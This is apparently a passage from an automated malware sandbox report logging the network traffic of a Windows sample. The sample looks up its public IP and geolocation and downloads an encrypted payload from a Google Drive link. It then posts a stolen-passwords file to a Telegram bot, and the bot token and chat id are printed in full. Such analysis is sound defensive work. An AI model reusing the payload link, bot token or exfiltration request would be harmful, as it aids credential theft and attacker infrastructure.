Jan 10, 2025 21:42:02.958204031 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 20:42:02 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.8	50037	193.122.6.168	80

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:42:06.888256073 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 21:42:07.556528091 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 20:42:07 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49785	142.250.181.238	443	5856	C:\Users\user\Desktop\xXUnP7uCBJ.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 20:41:04 UTC	216	OUT	GET /uc?export=download&id=1B-BzDxVYtSOJvWTazDI-d1HSDB0YMNcG HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: drive.google.com Cache-Control: no-cache
2025-01-10 20:41:04 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 20:41:04 GMT Location: https://drive.usercontent.google.com/download?id=1B-BzDxVYtSOJvWTazDI-d1HSDB0YMNcG&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-LkVKCc7Dg1bhwL0nZgtDLQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Cross-Origin-Opener-Policy: same-origin Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49794	216.58.206.65	443	5856	C:\Users\user\Desktop\xXUnP7uCBJ.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 20:41:05 UTC	258	OUT	GET /download?id=1B-BzDxVYtSOJvWTazDI-d1HSDB0YMNcG&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive
2025-01-10 20:41:08 UTC	4954	IN	HTTP/1.1 200 OK X-GUploader-UploadID: AFIdbgQW3utg_rqNuyRcAmEq1VaB9I9PHc3it5Hie4PH4zgQHomWyJ_9--vBQKv9idxteovbieM_bnQ Content-Type: application/octet-stream Content-Security-Policy: sandbox Content-Security-Policy: default-src 'none' Content-Security-Policy: frame-ancestors 'none' X-Content-Security-Policy: sandbox Cross-Origin-Opener-Policy: same-origin Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Resource-Policy: same-site X-Content-Type-Options: nosniff Content-Disposition: attachment; filename="KMlLuYZuLqmfBqiOsydfASFI191.bin" Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: false Access-Control-Allow-Headers: Accept, Accept-Language, Authorization, Cache-Control, Content-Disposition, Content-Encoding, Content-Language, Content-Length, Content-MD5, Content-Range, Content-Type, Date, developer-token, financial-institution-id, X-Goog-Sn-Metadata, X-Goog-Sn-PatientId, GData-Version, google-cloud-resource-prefix, linked-customer-id, login-customer-id, x-goog-request-params, Host, If-Match, If-Modified-Since, If-None-Match, If-Unmodified-Since, Origin, OriginToken, Pragma, Range, request-id, Slug, Transfer-Encoding, hotrod-board-name, hotrod-chrome-cpu-model, hotrod-chrome-processors, Want-Digest, X-Ad-Manager-Impersonation, x-chrome-connected, X-ClientDetails, X-Client-Pctx, X-Client-Version, x-debug-settings-metadata, X-Firebase-Locale, X-Goog-Firebase-Installations-Auth, X-Firebase-Client, X-Firebase-Client-Log-Type, X-Firebase-GMPID, X-Firebase-Auth-Token, X-Firebase-AppCheck, X-Firebase-Token, X-Goog-Drive-Client-Version, X-Goog-Drive-Resource-Keys, X-GData-Client, X-GData-Key, X-GoogA [TRUNCATED] Access-Control-Allow-Methods: GET,HEAD,OPTIONS Accept-Ranges: bytes Content-Length: 94272 Last-Modified: Thu, 12 Dec 2024 11:13:02 GMT Date: Fri, 10 Jan 2025 20:41:07 GMT Expires: Fri, 10 Jan 2025 20:41:07 GMT Cache-Control: private, max-age=0 X-Goog-Hash: crc32c=Zs8rzw== Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2025-01-10 20:41:08 UTC	4954	IN	Data Raw: 99 49 51 35 a5 be 91 0b ed 40 ae e0 29 1b fd 63 78 94 8e 69 80 49 5a 20 8a 2d a2 4e ad 21 17 b7 19 4b c7 5d ec 88 86 4d 32 27 43 e8 e7 cd f7 d5 b3 d7 3e 25 14 df a5 0c d7 41 ec d7 6e 12 84 1f 10 0c a3 57 6f 73 b9 7a 9e eb f9 50 6e 9e 8a f4 dd 18 56 ab fb b9 7b ec e8 e2 a4 a4 ba 0d 51 e9 50 e9 cb bb be 2d 23 66 e7 d7 de ae f1 51 ff e2 f6 76 61 c9 ab 58 e2 6a dd 0f 3d bd ac e2 ca 7b 97 a5 70 d0 89 fa 0e bf d3 6b 41 6c 43 a0 89 a6 68 fb 81 b9 dd 11 e2 47 2d 00 0a 3c 59 f0 6e 93 67 a1 5f e5 e2 02 b6 4a 71 53 2e aa 47 9c 49 bf 62 66 aa 73 ad 55 ce f0 57 83 d4 05 0a e7 21 83 88 ca 1f 84 6c bd 68 d2 79 0e 30 a1 ba fd d2 be 68 39 ce 1a 0c 04 6f 12 c4 37 c2 6f 54 e8 81 59 22 09 a0 63 a6 1e 10 a5 d0 98 8f a6 66 9f ac ba 9a c0 ea 52 7a 96 4b fe a0 5f bc f5 90 35 b4 Data Ascii: IQ5@)cxiIZ -N!K]M2'C>%AnWoszPnV{QP-#fQvaXj={pkAlChG-<Yng_JqS.GIbfsUW!lhy0h9o7oTY"cfRzK_5
2025-01-10 20:41:08 UTC	4787	IN	Data Raw: 16 14 ba 72 d6 68 0e 22 e0 d9 3b 45 8f 0c 92 fa 3a 2c f3 4f 6d 4f f2 fc b5 21 f0 14 46 31 06 d6 f6 5d a5 a2 3b b1 46 92 3d d7 9a 98 11 28 da ac 61 83 1f 92 c6 94 3c e6 f1 80 74 8f 67 9b 28 e5 45 c8 8e 5b 71 f8 80 f1 2d 31 6c fa fc ca a2 6e 2a c5 21 4f 8d fa 35 f7 6a cd 85 00 b6 28 66 65 95 f3 76 8e 26 47 75 d1 70 0e ef 42 48 cb de c4 91 11 3f 08 fa 57 e6 08 b8 97 c3 7c 17 6a b4 a3 6c 21 2b 03 d3 97 e7 2b 6d ed a6 dd 00 3d 5e 31 ae 34 f7 a2 d0 f1 56 f5 55 0e 5d b4 d5 cd 63 28 2c 16 76 36 e3 35 17 39 7e 99 57 38 6c 42 ad 34 6b 74 a4 3d 79 7a 21 db 12 6e fd 88 04 d1 e8 95 56 a7 1f 11 ac c6 54 dd 69 dc 7a e7 95 07 88 e7 27 34 16 06 3e 9f ef 32 78 1e 5a a6 2a 65 87 ff d9 6d 86 31 c0 60 e6 a4 38 29 e5 b1 e0 e8 cd cc 52 39 99 2d 0b 7c f3 40 aa 37 8d 57 f4 d8 89 Data Ascii: rh";E:,OmO!F1];F=(a<tg(E[q-1ln!O5j(fev&GupBH?W\|jl!++m=^14VU]c(,v659~W8lB4kt=yz!nVTiz'4>2xZem1`8)R9-\|@7W
2025-01-10 20:41:08 UTC	1326	IN	Data Raw: 64 82 30 e0 5e a1 e2 b2 5a 41 69 a2 ba 26 b6 e8 26 d5 f4 66 3f 65 8a f9 20 28 1b ad 7b 3e 6d 0b f3 26 b7 60 ce 58 5b 7c 63 1b 17 3b f1 48 96 b6 4c 8c c4 99 ec 19 7e 1c 42 f7 00 e3 f6 a3 b7 7d fc b7 77 1f 5e 8a 6d 4d 5c 1b 16 1d 4f ea 9a 8b c8 37 9e 6c 71 07 78 4f 1b 1e 9a d5 eb d2 a3 24 bf 40 0d 9c 1c c7 ee fb c4 e8 bb a2 42 c4 7a 3d 0f 4c 58 c8 fe 00 bc b4 fc fb 95 b6 ef 10 0c a9 dd ed 16 ff cc d0 03 a0 8b c9 f9 07 65 ad 82 bb 2d 41 33 53 c7 d8 7d b1 7e c6 c1 9d 3a bf 95 a3 ec cb 35 08 02 9f 33 ea 80 1e 46 36 06 05 c3 c5 d0 0d 05 9b f8 36 fa 22 3d 98 98 a4 0c d7 65 30 5d 39 31 2b 07 88 2e 0d c2 b1 c8 3f 29 22 54 40 51 4f 1d 06 87 a4 db 6d 89 e7 48 71 be 1f b0 8e 7b c1 2e a3 8f 24 55 27 97 db fc 42 20 64 e5 1b 10 bf 09 66 97 ad 5e 21 ae 40 65 e8 a0 66 45 Data Ascii: d0^ZAi&&f?e ({>m&`X[\|c;HL~B}w^mM\O7lqxO$@Bz=LXe-A3S}~:53F66"=e0]91+.?)"T@QOmHq{.$U'B df^!@efE
2025-01-10 20:41:08 UTC	1390	IN	Data Raw: 39 52 3a 44 ca 61 c5 1c 37 c3 bc 3e ca e2 4e a5 ae 3e e1 42 b0 25 15 c4 dd 71 a7 50 5a c5 f5 2f 41 b6 ae 8d a6 59 cf fd 4d 8c 82 68 07 64 ea 01 2c cc b6 86 92 30 c4 51 c1 74 23 fd 15 a6 29 4a c7 1c d2 07 b4 9e 54 ee cc 23 9e b9 98 eb 5c 3d 0e b1 48 7f 90 29 5b c3 33 9e 0a 69 07 67 8e 32 e0 5e a1 e2 b3 82 9d 63 3e d1 a5 eb e4 26 d1 ed 0b 45 2e 8a f3 24 dc ca 86 79 34 10 6b f2 36 b3 65 da 5a 3d 36 19 8c 13 36 8a 03 96 b6 53 94 1c 99 a6 10 7e 1e 6b 79 69 8f bb d0 6e 79 fe bf 07 48 d3 b5 69 65 8c 3e 00 65 f8 b3 9a fb 6e 12 89 34 97 12 78 2c 89 39 82 3d e9 c4 a3 70 1d 65 05 ee 00 aa a8 8b 66 e0 d1 e2 46 de fd 84 5b 4c 59 e7 e2 78 71 b0 ed f5 cb 81 fb 6b 3a c6 02 e9 3e 26 6e f5 1e de 55 c9 fb 76 5d 40 94 bf 23 7d ec 53 cd fa 8b 94 66 b2 14 9a 29 b0 f6 42 d7 c6 Data Ascii: 9R:Da7>N>B%qPZ/AYMhd,0Qt#)JT#\=H)[3ig2^c>&E.$y4k6eZ=66S~kyinyHie>en4x,9=pefF[LYxqk:>&nUv]@#}Sf)B
2025-01-10 20:41:08 UTC	1390	IN	Data Raw: a2 8b af f7 93 1d 17 ec a9 86 9e 9d 4c 2e 81 8e 5c 9a b0 22 67 76 b8 8f ea a6 34 d8 42 2e 7e 34 55 c5 37 3d 6e d1 dd af 41 79 c9 48 a2 b3 a6 fb 42 c6 e8 db dc af 57 a5 86 45 88 d0 36 42 ca 7a 9c a8 2d 39 c2 57 8e ec 33 07 14 42 37 26 d4 c8 59 e1 c0 c2 f3 ee 7b 43 8c 12 c9 a8 e8 ef b6 65 14 ad 9c 43 87 19 34 48 30 d0 ef 74 72 1d a5 54 ec 8a 5b b9 c2 33 fc 1b 57 cb 75 9f 2c e5 4a a3 88 6c 13 43 66 0a c2 4f eb 79 06 01 f6 64 44 d0 8b ea 33 11 dd be 62 25 09 6d f5 30 a0 7d d8 71 25 36 74 08 0b 39 9b 10 81 6c 5b be 00 8a f7 2b 48 1c 47 79 78 8a aa b8 26 66 de 84 1b 43 4a 9b 72 f4 92 64 39 19 23 b2 8b 90 5d 28 a3 b8 70 11 86 5d 00 1d 8c 5c f7 c3 bf 13 a2 51 01 a5 e7 bd a8 fb d5 fa d6 ef 53 d0 61 0e ca 64 9c c2 f4 0c bc af fc e1 ab a4 c5 ae 4a a9 d7 c1 70 2c cc Data Ascii: L.\"gv4B.~4U7=nAyHBWE6Bz-9W3B7&Y{CeC4H0trT[3Wu,JlCfOydD3b%m0}q%6t9l[+HGyx&fCJrd9#](p]\QSadJp,
2025-01-10 20:41:08 UTC	1390	IN	Data Raw: bd 83 42 5d d6 60 79 5e ce 8c 30 66 75 17 c8 30 17 ab 4e b8 8f 9a dd 3b 5c 48 d2 31 04 aa b0 b8 fc b8 17 14 ec 98 81 b6 61 4c 2c f9 55 4b 8c d3 07 11 9f ba 85 e1 a1 b5 90 4f b4 6c 36 43 e3 bc d3 6e db c1 42 4f 65 ce 4a a9 d0 f3 cd 4b a2 94 34 dc 97 80 b2 50 2a 67 a2 d4 53 d9 1a 93 d5 a6 6d d8 5d f9 ec 87 07 14 42 0c cc c5 d9 4a 81 36 d3 f5 8b 94 51 9d 0a b5 51 c3 ac ad da 68 c0 8d 50 9a eb 19 9e bd 83 fc 7d 62 07 c5 df ff 9f 28 48 cd 22 86 67 bc da 67 84 2b f8 4a bb f4 92 02 4f 40 35 c2 51 92 16 26 d1 fc 73 2b d1 8a f9 2e 6f ca ac 7b 3e 38 2b f3 26 b9 69 d8 5a 20 27 6b 74 93 39 8a 09 85 bb 59 a9 3b 29 32 04 6f 16 32 68 69 9e ba 8f ba 68 f6 c0 1d 52 5e 8b 06 64 8d 1b 1c 17 ee ae 14 e2 d7 ed 89 9c 66 d1 f5 05 2b 1c 9b 5c ec da b8 11 b8 56 14 12 77 a7 72 d3 Data Ascii: B]`y^0fu0N;\H1aL,UKOl6CnBOeJK4P*gSm]BJ6QQhP}b(H"gg+JO@5Q&s+.o{>8+&iZ 'kt9Y;)2o2hihR^df+\Vwr
2025-01-10 20:41:08 UTC	1390	IN	Data Raw: cc 0d 6b 02 d9 9e 1d ab ba 6f bf 5f 9f 09 05 d7 5f 3e f5 77 76 50 de 2b cb bf 0c f3 19 a6 92 32 54 e2 c9 a1 5e c4 90 bc 47 63 10 94 1c 4e a1 65 b7 85 8c d1 38 a4 4e f8 3b 0f b6 b9 f8 fd aa 16 12 9f 7e 81 b6 76 40 26 f9 c7 4c 8c d3 40 8d 9f ba 89 cc bf 57 1a 4f b4 6b 2d 9e d8 42 c5 7d d6 ef ab 4f 68 c7 51 bd c6 84 89 5e b6 f7 5f 09 af 5d b4 5d 22 76 d7 44 36 c5 6a fd c9 8a 6d d8 51 ed c0 75 16 13 3a b8 2b c5 a9 2f 47 30 c2 f5 f7 6d 40 98 28 35 59 e8 e9 af da 16 b6 a1 13 96 eb 20 9f bd 83 80 70 72 0e bb 2d fa 9e 29 51 ef a7 8c 08 47 c9 6e 9f 31 e7 a5 b1 f4 94 02 49 7a d2 d2 48 f6 f9 2d fd e0 4c ee 2e 8a f3 35 05 a5 f2 7b 34 1a 50 fa 0e 26 65 d8 5c 33 33 63 1b 13 12 aa 03 be 1c 48 a4 1c 91 fd 14 0c 82 5b 79 19 f1 6e a3 b7 7f 91 ea 0c 52 54 a2 d5 65 8d 1d 05 Data Ascii: ko__>wvP+2T^GcNe8N;~v@&L@WOk-B}OhQ^_]]"vD6jmQu:+/G0m@(5Y pr-)QGn1IzH-L.5{4P&e\33cH[ynRTe
2025-01-10 20:41:08 UTC	1390	IN	Data Raw: 04 88 1e bc 37 4d 89 de 42 e0 48 b7 04 99 4e 02 ad 1c 87 49 7e fe 81 52 e8 e8 fe 9e 6e e4 0e 6a 55 d2 f1 19 c0 bb 65 d0 4a 9e 09 0f bb cb 3e f4 6a 55 5d cf 5e de 41 0d d3 13 b7 89 24 b5 ff f2 72 4f cf b6 d8 4f d4 10 e4 3e 11 a4 0a e2 8f 8c dd 01 55 66 6d 31 04 b7 93 bb fc aa 16 3f cc a9 a9 1c 70 4c 24 83 8c 57 fe 3f 33 5f ef d5 5a ea b7 3e a6 10 b4 6d 30 6c 77 44 d3 68 c2 d2 bc 5f 6c b5 bb a9 c1 86 f7 6a 37 87 30 d6 b9 a3 b1 41 2f 15 32 33 48 a9 7c a5 27 5f 6d d2 41 00 c7 22 14 18 59 28 1b 88 c4 cd ad 30 c2 f2 c1 7e 23 7b 14 a6 29 4a ca ab db a5 9b 95 22 bc d6 23 ee 1f ac f6 65 77 ac 94 58 8d d9 3c 5b b7 91 a9 13 50 df c5 ab 24 81 75 90 e7 ee b1 6b cc 2c d3 51 ee e5 58 de f6 64 40 3f 87 d1 6a 00 ca a7 fb 3b 10 41 f7 26 b3 74 df 4d f6 25 64 0a 14 28 8c 3d Data Ascii: 7MBHNI~RnjUeJ>jU]^A$rOO>Ufm1?pL$W?3_Z>m0lwDh_lj70A/23H\|'_mA"Y(0~#{)J"#ewX<[P$uk,QXd@?j;A&tM%d(=
2025-01-10 20:41:08 UTC	1390	IN	Data Raw: 8a 9c 34 cb a1 60 f8 76 83 ba e5 e2 74 0c 12 be bb ef cb f3 42 e8 b9 42 7d 37 75 ab 89 06 8f e7 cd f4 42 85 bf 21 19 05 aa 8f b5 4b 13 a9 11 02 3b 98 ec 92 2a 5b c5 c5 d4 ca e9 15 19 79 cd 9e 6d 63 9e 76 ae 4b 3d 2c 1f e1 19 2b f4 1c e4 71 c5 46 cf 1d 29 dc 6b 6d a1 32 3b 5c c9 d9 5e c4 90 dd 6a 00 1f e4 34 04 b0 68 95 c1 8c d7 1a dc 41 f8 31 00 b1 80 af fb bd c0 07 eb b8 86 a7 76 72 ce 75 62 af 8c a3 f1 4f ba 92 bc ea b7 32 da 41 b4 45 68 44 cb 4e 0d 6e d1 fd fd 52 68 c7 59 ac c1 f6 f2 42 b6 87 67 dd af 5d d8 51 2a 67 c0 36 48 d9 2e 8d a6 5e 76 e8 53 fe b8 7c 07 14 7b 24 37 d4 d9 5f 8e 18 1a f3 e4 62 23 ae 23 a6 29 c0 a1 bc d2 0d b4 8d 56 b8 3b 23 9e b7 82 e8 4d 35 0f b1 42 f9 ec fe 5b c7 35 80 00 33 80 7b 8e 48 9c 89 b0 e7 98 35 4b 03 ff d3 5b fb ff fc Data Ascii: 4`vtBB}7uB!K;[ymcvK=,+qF)km2;\^j4hA1vrubO2AEhDNnRhYBg]Qg6H.^vS\|{$7_b##)V;#M5B[53{H5K[
2025-01-10 20:41:08 UTC	1390	IN	Data Raw: 57 96 0a 4e b8 3c aa 63 75 58 99 f0 41 c5 fb 17 3a 3d 54 b5 ce 85 52 fc 09 9a c5 38 fa 8a 8d 30 b9 50 65 f8 06 c2 93 64 e2 1e 07 04 40 a8 fe ce 81 e4 ed b9 33 70 2f f0 ab f5 0d 99 19 fd ab 51 98 ae 32 29 60 6f 02 8a 41 61 31 11 14 39 56 b6 92 5a f3 ea d2 db 40 34 0d 6b 5f d3 99 24 87 ba 6f bf 49 ec de 05 93 59 32 fc 1e 1c 48 de 27 a5 6d 0c c0 1f 80 8b 5d 98 fe e1 7f 49 1e 89 c8 71 6d 17 dc 23 01 a1 65 b5 9e 8b a5 78 40 4e 88 5e d1 b1 80 b8 f1 a2 07 13 9e d7 9d b6 00 23 fb 8b 9d 56 9f a7 27 4e 98 c8 13 f6 b7 48 a6 9a b4 6d 3c 57 ce 55 d6 46 42 d7 bc 48 7b cf 48 a4 ed b5 e7 6a b5 86 30 d6 c0 59 b3 50 20 08 d5 37 48 d3 42 19 a6 5f 6b cb 5e ef cd 69 f9 15 5b 2e 26 cf cf be 93 23 c9 e2 ef 44 47 b5 aa a6 59 e2 fe b9 bd 58 be 8d 5a 81 ca 0b 0b bd 89 e9 67 76 0e Data Ascii: WN<cuXA:=TR80Ped@3p/Q2)`oAa19VZ@4k_$oIY2H'm]Iqm#ex@N^#V'NHm<WUFBH{Hj0YP 7HB_k^i[.&#DGYXZgv

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.8	49828	104.21.64.1	443	5856	C:\Users\user\Desktop\xXUnP7uCBJ.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 20:41:10 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2025-01-10 20:41:10 UTC	853	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 20:41:10 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 1856460 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bWAxVojSy2EVDuu38ZeVZVWdC9RE8FhQi%2FsVd2krKe5pjUk0w6Bv9gaAe4b500VaMFKUgnlwmKRR6nIlUpG0%2BkdBwe1tsvqoyXqLcPgpp6OeSsCBE3PWKovOoPw2CnSjajWYfPOP"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fff7c82ece04414-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1682&min_rtt=1671&rtt_var=649&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2847&recv_bytes=699&delivery_rate=1657207&cwnd=180&unsent_bytes=0&cid=030fadca2c4fdff3&ts=162&x=0"
2025-01-10 20:41:10 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.8	49867	149.154.167.220	443	5856	C:\Users\user\Desktop\xXUnP7uCBJ.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 20:41:17 UTC	296	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd318d382f37f4 Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-10 20:41:17 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 31 38 64 33 38 32 66 33 37 66 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd318d382f37f4Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 20:41:17 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 20:41:17 GMT Content-Type: application/json Content-Length: 536 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 20:41:17 UTC	536	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 36 34 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 31 36 37 37 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44643,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736541677,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.8	49880	149.154.167.220	443	5856	C:\Users\user\Desktop\xXUnP7uCBJ.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 20:41:19 UTC	296	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd31a2245053c6 Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
